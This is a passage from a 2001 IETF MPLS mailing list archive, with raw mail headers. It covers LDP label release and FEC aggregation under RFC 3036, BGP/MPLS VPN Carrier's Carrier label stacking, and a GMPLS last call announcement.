> delete the label from the corrosponding label space and Ld can still be
> used by packets for other FECs..
>
> Hope that helps.
>
> -abhijit
>
> On Sun, 13 May 2001, Manoj Dutta wrote:
>
> > Hi,
> >
> > According to RFC3036 Section A.1.4, a label should be removed from
> > forwarding/switching use when an upstream peer releases a label
> > (subsection LRl.10). Now, consider a case where a downstream LSR Rd
> > propagates label Ld to upstream peer Ru for a set of fec elements {f1,
> > f2....}. It seems like Rd will remove label Ld from forwarding/switching
> > for traffic from Ru even when Ru releases the label Ld for only one
> > fec,say f1.  Consequently, bindings of label Ld to the remaining fec
> > elements {f2,f3....} is also lost and all the packets bearing the label
> > Ld from Ru will have to be either discarded or forwarded using ip
> > forwarding. I think that Rd should retain label Ld till Ru releases
> > label Ld for all the fecs {f1, f2...}. Let me know if this is correct.
> >
> > Thanks in advance
> > Manoj
> >



From owner-mpls@UU.NET  Mon May 14 13:31:08 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19144
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 13:31:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozt20199;
	Mon, 14 May 2001 17:29:27 GMT
Received: by mail-control.mail.uu.net 
	id QQkozt24393
	for mpls-outgoing; Mon, 14 May 2001 17:28:52 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkozt24379
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 17:28:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozt07081
	for <mpls@uu.net>; Mon, 14 May 2001 17:27:57 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkozt13376
	for <mpls@uu.net>; Mon, 14 May 2001 17:27:57 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4EHRud03126
	for <mpls@uu.net>; Mon, 14 May 2001 10:27:56 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id NAA11729 for mpls@uu.net; Mon, 14 May 2001 13:27:55 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkozs16228
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 17:08:44 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozs03634
	for <mpls@UU.NET>; Mon, 14 May 2001 17:07:26 GMT
Received: from anti_vir1.rad.co.il by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [192.116.244.108])
	id QQkozs22450
	for <mpls@UU.NET>; Mon, 14 May 2001 17:07:25 GMT
Received: from anti_vir1.rad.co.il (localhost [127.0.0.1])
	by anti_vir1.rad.co.il (8.9.3+Sun/8.9.3) with ESMTP id UAA13259
	for <mpls@UU.NET>; Mon, 14 May 2001 20:08:17 +0200 (IST)
Received: from radmail.rad.co.il (radmail [192.114.24.30])
	by anti_vir1.rad.co.il (8.9.3+Sun/8.9.3) with ESMTP id UAA13245;
	Mon, 14 May 2001 20:08:15 +0200 (IST)
Received: from tlv1.axerra.com ([192.168.254.14]) by radmail.rad.co.il
          (Post.Office MTA v3.5.3 release 223 ID# 0-69802U1300L1200S0V35)
          with ESMTP id il; Mon, 14 May 2001 20:08:30 +0300
Received: by TLV1 with Internet Mail Service (5.5.2653.19)
	id <HFMMDZZK>; Mon, 14 May 2001 20:06:43 +0200
Message-ID: <AF5018AC03D1D411ABB70002A5091326039D12@TLV1>
From: Sasha Vainshtein <Sasha@AXERRA.com>
To: "'jim guichard'" <jguichar@cisco.com>,
        Sasha Vainshtein
	 <Sasha@AXERRA.com>
Cc: "Metz, Eduard" <Eduard.Metz@KPNQwest.com>,
        "'Shahram Davari'"
	 <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, Alik Shimelmits <alik@AXERRA.com>,
        Elena Vinkler <elena@AXERRA.com>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Mon, 14 May 2001 20:06:40 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Jim,
Thank you once more. Please confirm if the following understanding is
correct
(even if, probably, incomplete):
1. From the provider's point of view, the VPN consists only of CE routers,
   i.e., it knows their addresses but not destinations behind them
  (in you terms, PE-1 learns a (direct) route to ASBR-A but not to any
prefix N behid ASBR-A)
2. CE routers belonging to the same VPN maintain iBGP sessions between them.

   These sessions are used to distribute information about prefixes behind
each CE to its peers 
   with the corresponding CE as a BGP next hop for these prefixes.
3. PEs advertise to their peers and, through them, to their adjacent CEs:
   a) Routes to other CEs :
      * In a PE such a route is a BGP route with the appropriate PE as its
BGP next hop; 
        it isadded to the appropriate VRF instance
      * In the CE this route is not really necessary (a default route would
suffice). But it is a
        regular route with the adjacent PE as its next hop
    b) Incoming labels for 4-hop LSPs:
      * The ingress CE
      * Appropriate VRF instance in the ingress PE
      * Apropriate VRF instance in egress PE
      * Egress CE. 
    c) This advertisement is initiated by the egress PE (and not by the
egress CE);
        as a consequence, the LSP in question operates is if PHP were
negotiated
5. Ingress CE flow:
  a) Look at the dest IP address
  b) Find an egress CE which is a BGP next hop to the prefix which matches
this dest IP address
  c) Push a label which corresponds to (this CE-to-the BGP next hop CE) and
send to PE
6. Ingress PE flow:
  a) Swap the incoming label to one advertized by the egress PE for this
LSP. 
     I expect that at this point all the 4-hop LSPs with the common egress
CE 
     would be merged at this point
  b) Push atop of it a label for the PE-to-PE tunnel. This label is defined
like following:
     * Look at the FEC for the incoming label - it is the egress CE address
     * Find a BGP next hop for this address in the VRF  - it is the egress
PE address
    *  Find a label which suits to the best-matching FEC for this address.
 
The gain provided by this scheme vs. the normal RFC2547 one will be
perceived if 
the CEs in question are really ASBRs, i.e., there are multiple prefixes
behind each of them. In such a case the core learns only ASBR addresses but
not
the actual prefixes behind them.

Hopefully I did not extend your patience beyond reasonable limits.


With best regards,
                                   Sasha Vainshtein
email:     sasha@axerra.com 
tel:       +972-3-7659993 (office)
           +972-8-9254948 (res.)
           +972-58-674833 (cell.)
 


> -----Original Message-----
> From: jim guichard [mailto:jguichar@cisco.com]
> Sent: Monday, May 14, 2001 5:16 PM
> To: Sasha Vainshtein
> Cc: Sasha Vainshtein; Metz, Eduard; 'Shahram Davari'; 
> 'mpls@uu.net'; Alik Shimelmits; Elena Vinkler
> Subject: RE: BGP/MPLS VPN PE LSR
> 
> 
> Sasha,
> 
> comments in-line ...
> 
> At 17:39 14/05/2001 +0200, Sasha Vainshtein wrote:
> >Jim,
> >Thank you for a prompt response. However, it leaves several 
> point unclear.
> >1. Neither RFC 2547 nor rfc2547bis does not specify which 
> routing protocols
> >run between
> >    CE and PE if any at all. In the basic model, CE does not 
> require any
> >    specific route at all - a default route via its PE is 
> sufficient. In its
> >turn,
> >    PE may learn routes to destinations behind its adjacent 
> CE via static
> >configuration.
> >    So what happens if  there is no routing protocol between 
> CE and its
> >adjacent PE?
> 
> you may use OSPF, RIPv2 or static between PE-CE. LDP provides label 
> distribution across the link.
> 
> >2. AFAIK in the 2547 model:
> >    a) PE somehow learns routes to destinations behind its 
> adjacent CEs and
> >installs
> >        them in the VRF instance associated with the given VPN
> 
> in the case of CsC, the PE learns BGP next-hop addresses that 
> are behind 
> the adjacent CE router. Other routes may be exchanged 
> directly between 
> sites WITHOUT being advertised toward the PE. This is 
> achieved through iBGP 
> sessions between sites.
> 
> >    b) iBGP distributes addresses of PEs as BGP next hops for the
> >        VPN destinations behind their adjacent CEs together 
> with _internal_
> >labels which
> >        are associated with the VRF instances within these PEs
> 
> yes and no. If the site is not running MPLS then BGP next-hops are 
> exchanged with the PE but without labels. If the site is 
> running MPLS then 
> the BGP next-hop is advertised to the PE as normal and a 
> label binding for 
> the prefix is agreed between PE and CE routers - standard LDP 
> behaviour. 
> Once the PE has these routes within the VRF, MP-BGP 
> distributes the prefix 
> information as per 2547 model.
> 
> >    c) IGP (OSPF or ISIS)  within the MPLS backbone provides for IP
> >connectivity between PEs
> >    d) LDP provides for MPLS connectivity between PEs
> >    e) PEs use labels associated with LSPs to their peers as 
> _external_
> >labels in the
> >        two-level label stack.
> >    This means that  internal labels refer to VRF 
> instance-to-VRF instance
> >LSPs while
> >    external labels refer to PE-to-PE LSPs.
> 
> PEs will use a two level label stack (simple case) where the 
> inner label is 
> the VPN label (BGP next-hop address) as allocated by the 
> ingress PE router 
> and the outer label is the IGP label as allocated by LDP. This is the 
> normal 2547 model, nothing new with CsC.
> 
> >3. Now comes the key question: to which LSP should belong a 
> label in a
> >    packet sent by the CE to its adjacent PE?
> 
> The flow is as follows :
> 
> Site A has prefix N which is reachable via ASBR_A. Site A 
> advertises prefix 
> N to Site B via iBGP with a next-hop of ASBR_A. Site A 
> advertises prefix 
> ASBR_A to PE-1 within the MPLS VPN backbone. PE-1 imports 
> ASBR_A prefix 
> into VRF A. PE-1 redistributes prefix ASBR_A into MP-BGP. 
> PE-1 advertises 
> RD:ASBR_A to PE-2 which imports the route into VRF A. PE-2 advertises 
> ASBR_A to CE-2 in Site B and distributes label X via LDP. 
> CE-2 advertises 
> ASBR_A into Site B using its IGP.
> 
> When a packet comes into Site B destined for network N, the 
> next-hop for 
> network N on the incoming ASBR points to ASBR_A. As ASBR_A 
> was learnt from 
> within the IGP the traffic takes the IGP path toward the 
> next-hop. When the 
> packet hits CE-2, label imposition occurs as a label for 
> ASBR_A was learnt 
> from PE-2. CE-2 sends the packet with label X to PE-2 which 
> swaps the label 
> for a two-level label stack. This label stack is the VPN 
> label for prefix N 
> as assigned by PE-1 and the IGP label to reach PE-1. When 
> PE-1 receives the 
> packet it will have a one level label stack. The packet is 
> then switched 
> toward CE-1 as a normal IP packet destined for prefix N.
> 
> >    I see the following use cases:
> >    a) They belong to CE-to-CE LSPs which are tunneled in the
> >        VRF instance-to-VRF instance ones,
> >        i.e. they are never visible in the MPLS VPN backbone 
> including PEs.
> >       This is the scenario I had in mind. It also may be 
> related to the
> >flavor which you have
> >       called hierarchical VPN. The probelm is that PE has 
> to recognize these
> >labels in order to
> >       process them in any way. I do not see how this is possible.
> >    b) They belong to CE-to-CE tunnels which are just 
> extensions of the
> >        VRF instance-to-VRF instance ones. This will only
> >       work if there is just one customer site per PE per VPN.
> >   c) They belong to (upstream CE)-to-(VRF instance in the 
> downstream PE)
> >LSPs.
> >       IMHO this corresponds to the process you have 
> described in your answer
> >and
> >       also to the "VPN site running MPLS" flavor. The 
> problem with this
> >scenario is
> >       that the provider's network topology becomes 
> partially visible to the
> >CE routers
> >       ( they have to know which PE acts as the BGP next hop 
> for the specific
> >destination
> >      in their VPN). AFAIK this is considered as undesirable 
> in the common
> >VPN framework.
> >
> 
> all that is needed within a site is to learn the route via BGP and 
> understand how to route to that BGP destination. This is 
> driven by the BGP 
> next-hop. As the next-hop is learnt from an exit point CE, we 
> route toward 
> the CE (assuming no MPLS within the site) and then perform 
> label imposition 
> on the CE - there is no knowledge of the providers network topology 
> required. Hope this helps. Jim
> 
> 
> >With best regards,
> >                                    Sasha Vainshtein
> >email:     sasha@axerra.com
> >tel:       +972-3-7659993 (office)
> >            +972-8-9254948 (res.)
> >            +972-58-674833 (cell.)
> >
> >
> >
> > > -----Original Message-----
> > > From: jim guichard [mailto:jguichar@cisco.com]
> > > Sent: Monday, May 14, 2001 10:35 AM
> > > To: Sasha Vainshtein
> > > Cc: Metz, Eduard; 'Shahram Davari'; 'mpls@uu.net'; Alik
> > > Shimelmits; Elena Vinkler
> > > Subject: RE: BGP/MPLS VPN PE LSR
> > >
> > >
> > > Sasha,
> > >
> > > At 11:03 14/05/2001 +0200, Sasha Vainshtein wrote:
> > > >Regarding the Carriers Carrier model:
> > > >My assumption is that in this model the label on the packet
> > > >sent by the upstream CE router to its appropriate  PE has
> > > been assigned
> > > >(to some FEC)
> > >
> > > your assumption is not correct. The label that the CE will use is
> > > distributed by its upstream PE router. The external routes of
> > > the site are
> > > distributed to other sites using iBGP. The BGP next-hops for
> > > these prefixes
> > > are exchanged with the MPLS VPN backbone using standard
> > > routing protocols
> > > but also LDP label distribution. The BGP next-hops are placed
> > > into the PE
> > > routers VRF and then advertised across the backbone as VPNv4
> > > prefixes. Once
> > > imported into the receiving PE routers VRF, they are 
> advertised using
> > > standard routing protocols to the CE but also with LDP label
> > > distribution.
> > > All of this provides an end-to-end LSP between ASBRs in
> > > different sites,
> > > and provides the ability to off load large amounts of prefix
> > > information
> > > from the MPLS VPN backbone .. Jim
> > >
> > > >  by the peer downstream CE router at the
> > > >other side of the CE<-->CE tunnel and then distributed to
> > > >the upstream CE (e.g., via a direct LDP session between the
> > > two CE routers)
> > > >  without any involvement of the PE routers (save from that that
> > > >they provide an IP VPN connectivity between CEs
> > > >so that the latter can run LDP sessions between them).
> > > >This means that PE cannot do anything with such a label per se!
> > > >One way to overcome siuch a situation would be for the two
> > > CEs to run either
> > > >
> > > >MPLS-in-IP or MPLS-in-GRE between them as described in
> > > ><draft-worster-mpls-in-ip-04.txt>.
> > > >
> > > >With best regards,
> > > >                                    Sasha Vainshtein
> > > >email:     sasha@axerra.com
> > > >tel:       +972-3-7659993 (office)
> > > >            +972-8-9254948 (res.)
> > > >            +972-58-674833 (cell.)
> > > >
> > > >
> > > >
> > > > > -----Original Message-----
> > > > > From: jim guichard [mailto:jguichar@cisco.com]
> > > > > Sent: Thursday, May 10, 2001 11:41 AM
> > > > > To: Metz, Eduard
> > > > > Cc: 'Shahram Davari'; 'mpls@uu.net'
> > > > > Subject: RE: BGP/MPLS VPN PE LSR
> > > > >
> > > > >
> > > > > The case where a PE will receive a labelled packet is
> > > > > referred to as the
> > > > > Carriers Carrier architecture and it has several flavours. In
> > > > > the case
> > > > > where the VPN site is running MPLS, then you will see a two
> > > > > level label
> > > > > stack across the carrier backbone. A three level label stack
> > > > > will be seen
> > > > > when the VPN site is running MPLS VPN and this is 
> referred to as a
> > > > > hierarchical VPN. Jim
> > > > >
> > > > > At 10:43 10/05/2001 +0200, Metz, Eduard wrote:
> > > > >
> > > > > >I assume you are referring to the 'carriers-carrier' model.
> > > > > This section in
> > > > > >the draft is pretty vague. However, are you sure 2 labels
> > > > > will be added?
> > > > > >Could the PE not also use the customer label as the inner
> > > > > label (and thus
> > > > > >swap it)?
> > > > > >
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Shahram Davari 
[mailto:Shahram_Davari@pmc-sierra.com]
> > > > > > Sent: 09 May 2001 21:16
> > > > > > To: 'mpls@uu.net'
> > > > > > Subject: BGP/MPLS VPN PE LSR
> > > > > >
> > > > > >
> > > > > > Hi,
> > > > > >
> > > > > > In an BGP/MPLS VPN scenario if a CE router sends an MPLS
> > > > > > packet rather than an IP packet to a PE router, the PE router
> > > > > > should still push 2 labels. My question is, should the PE
> > > > > > router swap the customer's label too or leave it unchanged?
> > > > > >
> > > > > > Yours,
> > > > > > -Shahram
> > > > > >
> > > > > >
> > > >
> > > >
> > > >
> > > > Jim Guichard CCIE #2069
> > > > Technical Leader EMEA
> > > >
> > > > +44 208 756 8806
> > > > Mobile: +44 7802 809763
> > > >
> >
> >
> >
> > Jim Guichard CCIE #2069
> > Technical Leader EMEA
> >
> > +44 208 756 8806
> > Mobile: +44 7802 809763
> >



Jim Guichard CCIE #2069
Technical Leader EMEA

+44 208 756 8806
Mobile: +44 7802 809763



From owner-mpls@UU.NET  Mon May 14 13:44:39 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19553
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 13:44:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozu11720;
	Mon, 14 May 2001 17:43:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkozu25930
	for mpls-outgoing; Mon, 14 May 2001 17:42:49 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkozu25920
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 17:42:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozu01675
	for <mpls@UU.NET>; Mon, 14 May 2001 17:41:51 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQkozu27820
	for <mpls@UU.NET>; Mon, 14 May 2001 17:41:51 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id KAA18729;
	Mon, 14 May 2001 10:41:33 -0700 (PDT)
Message-ID: <3B0018CD.506938F7@pluris.com>
Date: Mon, 14 May 2001 10:41:33 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Eric Gray <eric.gray@sandburst.com>
CC: Abhijit M Gadgil <amg@sasken.com>, Manoj Dutta <manoj@ipinfusion.com>,
        mpls@UU.NET
Subject: Re: Receive Label Receive !!
References: <Pine.GSO.4.30.0105141220100.10499-100000@sund2.sasi.com> <3AFFFD83.6FD060AB@sandburst.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

  Indeed, consider: (the following was sent as private email to a couple folks on
the list, but I think it merits a broader audience)

 In thinking about this, I ended up wondering what would happen when the
next hop changes, in the following scenario:

Suppose we have A connected to B, connected to C and D, with C and D each
connected to E and F


            ----C----E
A---B<          X
           -----D----F

Suppose that we do unsolicited ordered advertisement, to create LSPs leading
to E and F.

C and D both aggregate their FECs, and B receives the following
advertisements

MsgSource   Label   FEC
C                    C1       E
C                    C1       F
D                    D1       E
D                    D1       F

Lets assume (on B)

next_hop(E) = C
next_hop(F) = C

B will advertise to A, such that A receives the following (the same
advertisements are made to C and D)

MsgSource     Label    FEC
B                      B1        E
B                      B1        F

 Then, we will have label switching as follows


A:  dest E => push B1 (forward to B)
A:  dest F => push B1 (forward to B)
B: B1 => pop, push C1 (forward to C)***
C: C1 => pop.              (forward to E or F as appropriate)
D: D1 => pop               (forward to E or F as appropriate) (but D1 never
gets pushed by B)


 Now, suppose, on B, the next hop to get to E changes from C to D.

NH1:  yes
NH2:  Remove label  C1 (mapped to the FEC {E}) from forwarding/switching
use. (line *** above is deleted)
NH3   yes
NH6   no
NH10 yes
NH11 yes
NH12 generated Received Label Mapping from D, label = D1, FEC = {E}

   Now, in the received label mapping procedure:
   (MsgSource = D, FEC = E, label = D1)

    LMp1: No
    LMp3: No loop
    LMp9: Yes
    LMp10 Yes
    LMp11 next_hop(E) = D == MsgSource
    LMp12 Yes
    LMp14 No
    LMp16 record that the mapping <D1, E> has been received from D.
    LMp17 For each of A, C and D:
      LMp18 Yes
      LMp22 for the label mapping <B1, E>
      LMp23 Yes?! (because the previous mapping was aggregated, it might be
different, but does it matter?)
      LMp27
      LMp28 no
      LMp30 for the label mapping <B1, E> install D1 and B1 for forwarding
switching - where line ***
                  was deleted, we place:

                B: B1 => pop, push D1 forward to D

    LMp31  Because the label advertisements to A, C and D were the same,
nothing else is done.
    LMp33 DONE


NH20 DONE

Now the label switching looks like:

A:  dest E => push B1 (forward to B)
A:  dest F => push B1 (forward to B)
B: B1 => pop, push D1 (forward to D) <<< The change
C: C1 => pop.              (forward to E or F as appropriate)
D: D1 => pop               (forward to E or F as appropriate) (but D1 never
gets pushed by B)

 A packet with a destination of F, starting at A does:

A: push B1, forward to B
B pop, push D1, forward to D %%%%%%
 but at B, next_hop(F) == C


 It seems to me that somewhere in here that B should have done a label
mapping of <B2, E> to A, and a withdrawal to A, of <B1, E> , so that at the
end, things look like:


A: dest E => push B2
A: dest F => push B1
B: B1 => pop, push C1 (forward to C)
B: B2 => pop, push D1 (forward to D)
C: C1 => pop  (forward to E or F as appropriate)
D: D1 => pop  (forward to E or F as appropriate)


  But there is a problem with this too: If we first do the label mapping
<B2, E> to A, then that is a second label mapped to the same FEC, which is
disallowed by LMp.10.

  If we first withdraw <B1, E>, then we have broken the LSP, with no LSP for
a packet with a destination of E.


  Have I missed something in the spec?

 Thanks


CLK





Eric Gray wrote:

> Abhijit,
>
>     Part of the trouble (perhaps inconsistency is a better word) between
> RFC3031 and RFC3036 is the meaning of the word FEC.  From a purely
> architectural point of view, it never makes sense to issue the same label
> for multiple FECs.  If you define a FEC as a group of packets which will
> be forwarded the same way, and you consider the consequences of using
> the same label, you will see that issuing the same label for multiple FECs
> essentially groups these 'FECs' into a single FEC (since they will be
> forwarded in the same way by the LSR that issued the common label).
>
>     However, from the pragmatic perspective you need to adopt to develop
> a signaling protocol, it is necessary to consider the case where a group
> of FECs from Ru's perspective maps to a single FEC from Rd's point of
> view.  By giving the same label for all of these FECs to Ru, Rd is able to
> avoid having to merge multiple incoming LSPs from Ru onto a single LSP
> downstream from Rd.
>
>     As I implied in my earlier reply to Manoj, however, the fact that this is
>
> allowed does not mean that this behavior is universally loved.  :-)
>
> --
> Eric Gray
>
> You wrote:
>
> > manoj,
> >
> > If u have a look at rfc3031, pg 15, Scope and Uniqueness of the Label, It
> > gives a clear picture as to when Rd can use same label for different FECs
> > for Upstream LSR(s). Let us suppose the Label Ld resides in some label
> > space LS. This will not let u distribute Ld for different FECs as it will
> > not be possible to distinguish the FEC from the label value. If on the
> > other hand the Label Ld was there in two label spaces (say per interface),
> > then upon receiving the label release for that Label from Upstream, u will
> > delete the label from the corrosponding label space and Ld can still be
> > used by packets for other FECs..
> >
> > Hope that helps.
> >
> > -abhijit
> >
> > On Sun, 13 May 2001, Manoj Dutta wrote:
> >
> > > Hi,
> > >
> > > According to RFC3036 Section A.1.4, a label should be removed from
> > > forwarding/switching use when an upstream peer releases a label
> > > (subsection LRl.10). Now, consider a case where a downstream LSR Rd
> > > propagates label Ld to upstream peer Ru for a set of fec elements {f1,
> > > f2....}. It seems like Rd will remove label Ld from forwarding/switching
> > > for traffic from Ru even when Ru releases the label Ld for only one
> > > fec,say f1.  Consequently, bindings of label Ld to the remaining fec
> > > elements {f2,f3....} is also lost and all the packets bearing the label
> > > Ld from Ru will have to be either discarded or forwarded using ip
> > > forwarding. I think that Rd should retain label Ld till Ru releases
> > > label Ld for all the fecs {f1, f2...}. Let me know if this is correct.
> > >
> > > Thanks in advance
> > > Manoj
> > >



From owner-mpls@UU.NET  Mon May 14 14:01:25 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20031
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 14:01:25 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozv28064;
	Mon, 14 May 2001 17:59:12 GMT
Received: by mail-control.mail.uu.net 
	id QQkozv28517
	for mpls-outgoing; Mon, 14 May 2001 17:58:39 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkozv28509
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 17:58:36 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozv12755
	for <mpls@uu.net>; Mon, 14 May 2001 17:58:11 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkozv14551
	for <mpls@uu.net>; Mon, 14 May 2001 17:58:10 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA15995 for mpls@uu.net; Mon, 14 May 2001 13:58:10 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkozv27792
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 17:53:42 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkozv15092
	for <mpls@uu.net>; Mon, 14 May 2001 17:52:25 GMT
Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: pilgrim.cisco.com [171.69.204.12])
	id QQkozv15883
	for <mpls@uu.net>; Mon, 14 May 2001 17:52:24 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.128.68])
	by pilgrim.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id NAA04322;
	Mon, 14 May 2001 13:52:24 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id NAA05639; Mon, 14 May 2001 13:52:24 -0400 (EDT)
Message-Id: <200105141752.NAA05639@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: ccamp@ops.ietf.org, mpls@UU.NET
Subject: GMPLS Last Calls
Date: Mon, 14 May 2001 13:52:23 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message initiates a last call on four GMPLS drafts.  The last
call is being issued jointly in the MPLS and CCAMP workgroups.

The drafts are:

    1.  Generalized MPLS - Signaling Functional Description

           <draft-ietf-mpls-generalized-signaling-04.txt>


    2.  Generalized MPLS Signaling - RSVP-TE Extensions

           <draft-ietf-mpls-generalized-rsvp-te-03.txt>


    3.  Generalized MPLS Signaling - CR-LDP Extensions

           <draft-ietf-mpls-generalized-cr-ldp-03.txt>


    4.  GMPLS Extensions for SONET and SDH Control

           <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>


The last call closes May 29, 12 pm GMT.


-  V2KG (Vijay, Vijay, Kireeti, & George)


======================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824





From owner-mpls@UU.NET  Mon May 14 14:15:10 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20298
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 14:15:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozw08822;
	Mon, 14 May 2001 18:13:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkozw18323
	for mpls-outgoing; Mon, 14 May 2001 18:13:08 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkozw18295
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 18:13:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozw19036
	for <mpls@uu.net>; Mon, 14 May 2001 18:12:41 GMT
Received: from asc_exch.asc.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: outlook.asc.com [63.82.128.45])
	id QQkozw29382
	for <mpls@uu.net>; Mon, 14 May 2001 18:12:41 GMT
Received: by ASC_EXCH with Internet Mail Service (5.5.2653.19)
	id <HLX05MM9>; Mon, 14 May 2001 14:04:15 -0400
Message-ID: <4AA0C69EF2C3D411B94600B0D04931BD14B84F@ASC_EXCH>
From: Jim Loehndorf <JLoehndorf@ASC.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: pwe3 Mailer
Date: Mon, 14 May 2001 14:04:09 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0DCA0.46468A40"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DCA0.46468A40
Content-Type: text/plain;
	charset="iso-8859-1"

Is there a pwe3 mail group?  How do you join?

Jim Loehndorf
ASC

------_=_NextPart_001_01C0DCA0.46468A40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

